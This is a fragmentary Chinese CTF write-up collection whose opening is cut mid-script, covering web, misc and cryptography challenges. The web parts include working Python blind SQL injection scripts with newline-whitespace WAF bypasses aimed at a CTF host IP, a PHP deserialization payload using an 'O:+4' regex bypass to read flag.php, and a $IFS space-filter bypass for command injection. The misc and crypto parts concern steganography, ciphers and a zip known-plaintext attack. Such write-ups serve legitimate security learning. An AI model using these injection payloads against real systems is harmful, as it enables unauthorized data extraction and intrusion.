payload = "?id=2%%0aand%%0a(select%%0a(select%%0agroup_concat(table_name)%%0afrom%%0ainformation_schema%%0a.%%0atables%%0awhere%%0atable_schema%%0abetween%%0a0x776562%%0aand%%0a0x776562%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
#爆列
#payload = "?id=2%%0aand%%0a(select%%0a(select%%0agroup_concat(column_name)%%0afrom%%0ainformation_schema%%0a.columns%%0awhere%%0atable_name%%0abetween%%0a0x666c61676767%%0aand0x666c61676767%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
# 爆flag
#payload = "?id=2%%0aand%%0a(select%%0a(select%%0aflagg%%0afrom%%0aflaggg%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())#注flag
url = "http://101.71.29.5:10008/show.php" + payload
row = requests.get(url)
#print (row.text)
if '山西' not in row.text:
if x in '0':
x = '_'
flag += chr(ord(x)-1)
break
print(flag)
import requests
import binascii
import string
baseurl = 'http://101.71.29.5:10008/show.php?id=-1'
result = ''
answer = ''
flag = 0
for i in range(100):
if flag == 0:
for c in range(120,32,-1):
if c == 33:
flag = 1
#payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
#payload = '%0aor%0a(select(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
#payload = '%0aor%0a(select(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand0x666c61676767)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
payload = '%0aor%0a(select(select%0aflagg%0afrom%0aflaggg)between%0a0x'+result+hex(c)[2:4]+'%0aand%0a0x7a)'
url = baseurl + payload
a = requests.get(url)
if '郑州烩面的价钱为10' in a.text:
answer = answer + chr(c)
result = result + hex(c)[2:4]
print(result)
break
print(answer)
最后这个是只爆flag的
# -- coding: UTF-8 --
import requests
import string
flag = 'flag{'
payload=flag.encode('hex')
list = string.digits+'abcdef'+'}'
for i in range(1,200):
print (i)
for j in range(len(list)):
tmp1 = payload+'2f'
tmp2 = payload+list[j].encode('hex')
url = 'http://101.71.29.5:10008/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)'
r = requests.get(url)
if '郑州烩面的价钱为10' in r.content:
payload += list[j-1].encode('hex')
print (payload.decode('hex'))
break
MISC
1.Numeric password
打开压缩包解压后
打开txt文件、
分析题目,有两个重要提示,第一个提示是1-110个数字,第二个提示就是汉字对应相应的数字
结合标题Numeric password,百度110个数字密码,会有一份数字密码表
对比之后得到相应数字
观察发现数字范围在1895,ascii码可显示的字符范围在32126,对字符串移位,范围在20~32就可以,flag就在其中,脚本如下图所示:
content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,24,27,67,27,20,25,27,21,72,26,20,18,20,70,70,67,70,72,23,20,95]
flag = ""
for i in range(20,33):
for j in content:
flag += chr(j+i)
print (flag)
flag = ""
2.我的公子又在何方
但是解压时密码不对,看了下密码像base64加密,解密后解压成功,一张图片还有一个txt
百度识图发现是天仙配中的七仙女
经过一番尝试发现在StegoTool中需要输入Symmetic Key可以得到隐写内容,密码应该就是个人物名,刚开始以为是小七,试了下不对,后来有根据提示,我的公子在何方,猜测为dongyong,密码正确
得到一串字符U2FsdGVkX1+E3U0NYWvetAhb3vNfUXToWw0T0ntODmd3l1QiUuAG+6OVOPIDYf/DaCY+XtEX
应该也是经过加密的,在线解密试试,网址http://tool.oschina.net/encrypt/,尝试之后没有得到内容,试着使用密码“dongyong”在试一次,发现使用Rabbit加密算法得到flag,如下图所示:
3.大吉大利今晚吃你
打开浏览器,访问目标主机,下载附件,观看视频,没什么可用的东西
根据压缩包中的注释内容,百度得到一款工具DeEgger Embedder,如下图所示:
使用deegger-embedder还原隐藏信息,如下图:
还原出来是一个txt,看一下应该是png图片,修改后缀
得到一个图片,类似二维码
经过一番搜索发现是Maxi Code,在线识别地址https://zxing.org/w/decode.jspx,如下图:
得到flag{cevek_duvyk_hunuf_gesuf_dotyf_besif_fusif_nemyk_hexic,是一串BubbleBabble编码,尝试解码,发现有错,修改起始和结尾位置为x
因为BubbleBabble编码是以”x”开头和”x”结尾的
现在为止得到的只是flag的前半部分,使用winhex打开图片,发现结尾处有异样,如下图所示:
base64解码之后得到后半部分flag:“20526e189b2287a6}
附脚本
import bubblepy,base64
strs = "cevek_duvyk_hunuf_gesuf_dotyf_besif_fusif_nemyk_hexic"
strs = strs.replace('c','x')
flag1=str(bubblepy.BubbleBabble().decode(strs).decode('utf-8'))
flag2 = "flag{"+ flag1
flag3 = str(base64.b64decode("MjA1MjZlMTg5YjIyODdhNn0=").decode('utf-8'))
flag = flag2+flag3
print(flag)
密码学
1.仿射
这一题与仿射密码有关,可以先了解一下仿射密码
https://blog.csdn.net/qq_41725312/article/details/81067248
https://www.cnblogs.com/zishu/p/8650214.html
拿到题目,提示b=7,以及一串密码
achjbnpdfherebjsw
我不是太会仿射密码,只知道解密时需要a和b两个值,而我们只知道b的值,所以根据已知信息,跑一下a的值成功解密
自己写的脚本
from pycipher import Affine
for i in range(1,10):
try:
print(Affine(a=i,b=7).decipher('achjbnpdfherebjsw'))
except:
continue
这里有位大佬的脚本
我们知道仿射密码为
a的逆元取值范围在(1,9,21,15,3,19,7,23,11,5,17,25)
所以直接解密即可
import gmpy2
string = 'achjbnpdfherebjsw'
b=7
for i in (1,9,21,15,3,19,7,23,11,5,17,25):
flag = ''
for k in string:
flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a'))
print flag
2.好简单的密码学
这题没来的及看,附上一位大佬的WP
https://www.anquanke.com/post/id/166492#h2-6
十二月
WEB
easy
源码
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
一看就是一道反序列化题,flag的文件名也给了,直接就尝试构造了一波序列化字符串
<?php
class baby
{
public $file='flag.php';
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$flag = new baby('flag.php');
$flag = serialize($flag);
$flag = str_replace('O:4', 'O:+4',$flag);
echo $flag;
?>
http://101.71.29.5:10007/index.php?data=O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
结果发现不行,,这里为什么要替换4变成+4,参考了一篇大佬的题https://www.jianshu.com/p/f87052a1c5a9
与之相似,因为上面的waf----preg_match('/[oc]:\d+:/i',$data,$matches);
,正则匹配正好匹配到了O:4:,因此要绕过这个,大佬给的是+4绕过,但是直接get提交不行,又想到url编码试一下,将+改为%2b还是不行,抓包修改了一下结果成功了,
这里也可以用smile大佬的方法直接fuzz,爆破一下4前面有没有可以绕过的。。
爆破发现只有%2b,也就是+4可以绕过
easyweb2
打开一个网站,抓包发现
后面有个user=dXNlcg%3D%3D
,base64加密
解密后为user,可能设置了cookie为user
尝试后台可能为admin.php,然后将user改为admin进行base64,看看能不能进去
发现是可以的
然后抓包后台看看
有个cmd参数,尝试一些命令看看不能用
ls可以用,那应该其他的命令都能用了,查看根目录下的文件,发现空格被过滤了,根据以往的,有师傅用$IFS绕过空格
比如上个月做的一道ezsql
这题也可以
然后cat查看flag
MISC
MISC2签到题
替安恒打波广告
关注微信公众号安恒网络空间安全讲武堂回答问题得flag
JUJU
提示女朋友问我这11只JUJU哪只好看?(flag中的字符串md5后提交)
图片里没有11只JUJU,改个高度即可。
base32
学习资料
题目打开一个txt文件能看,另一个压缩包要密码
比较两个压缩包
其crc32值是相同的,因此可以使用明文攻击。将备忘录单独拿出来用winrar压缩为一个压缩包。然后和加密的压缩包进行明文攻击。
爆破成功后
没flag,拖动图片什么也没有,可能是word隐藏了文字
设置选项中勾选隐藏文字
也可以把word后缀改为zip,打开找word/document.xml即可